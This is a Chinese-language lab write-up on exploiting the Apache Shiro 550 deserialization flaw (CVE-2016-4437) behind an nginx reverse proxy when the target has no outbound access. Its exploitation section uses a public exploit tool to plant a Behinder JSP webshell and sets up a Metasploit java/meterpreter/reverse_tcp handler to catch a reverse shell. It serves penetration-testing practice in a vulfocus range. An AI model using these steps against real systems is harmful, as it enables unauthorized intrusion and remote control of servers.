shiro不出网的打法
shiro不出网的打法
Author:Mi2ac1e
0x01 环境搭建
安装NGINX
apt update
apt install nginx
修改配置文件:
如果你找不到自己的nginx配置文件,需要使用
/usr/sbin/nginx -t
进入对应文件夹修改:
cd /etc/nginx/
vim nginx.conf
修改为:
server { listen 80; server_name www.123.com;
location / { proxy_pass http://10.10.10.15:38228; index index.html index.htm index.jsp; } }
在这一步,因为过于菜鸡导致一开始这个server{}被我直接粗暴的复制到了http{}的括号外,导致nginx服务起不来。应该将这个放到http的内部。
重启nginx服务。
systemctl restart nginx
绑定HOST:
Linux:
vim /etc/hosts
Windows10:
这里需要注意,由于windows10家庭版限制了一些东西,没有权限修改Host文件。我的解决办法如下:
桌面新建bat,内容:cmd.exe 保存
右键,以管理员权限运行
之后输入:
notepad %windir%\system32\drivers\etc\hosts
即可修改,依旧是绑定HOST
访问www.123.com
已经可以访问到了。
同时这里我们会发现,如果直接访问这个IP,会出现这个界面:
相信在做信息收集时都有遇到过这种界面,那么如果我们知道了他绑定的这个域名,或许就会发现一些脆弱的内网资产了~
0x02 网络拓扑
Ubuntu20.4 NGINX反向代理服务器
10.10.10.20(内)
192.168.72.235(外)
Ubuntu20.4 内网服务,搭建有存在shiro550(CVE-2016-4437) 使用的靶场环境来自vulfocus
10.10.10.15
0x03 漏洞利用
0x031 Getshell
shiro检测工具:
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
直接把可能存在shiro550的url丢进来:
之后会有几种判断漏洞是否存在的方式,然而由于目标机器不出网
导致前几种方式失败,例如选择第一种:
所以强烈建议使用第四种,静态资源:
随便找一个css等:
可以发现已经存在shiro了,这时候可以直接选择下面的"简便操作-->获取webshell"
,他这个默认上传的webshell在config
目录,我是直接把shell.jsp换成了冰蝎的Jsp马
激动人心的写马环节:
连接成功,拿到了处于内网10.10.10.15的flag
0x032 反弹metepreter shell
没怎么用过冰蝎,忽略了自带的反弹shell的这些操作。
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
java/meterpreter/reverse_tcp
show options
set lhost 0.0.0.0
set lport 9090
run
设置完了以后,在冰蝎直接点:
就直接连接过来了。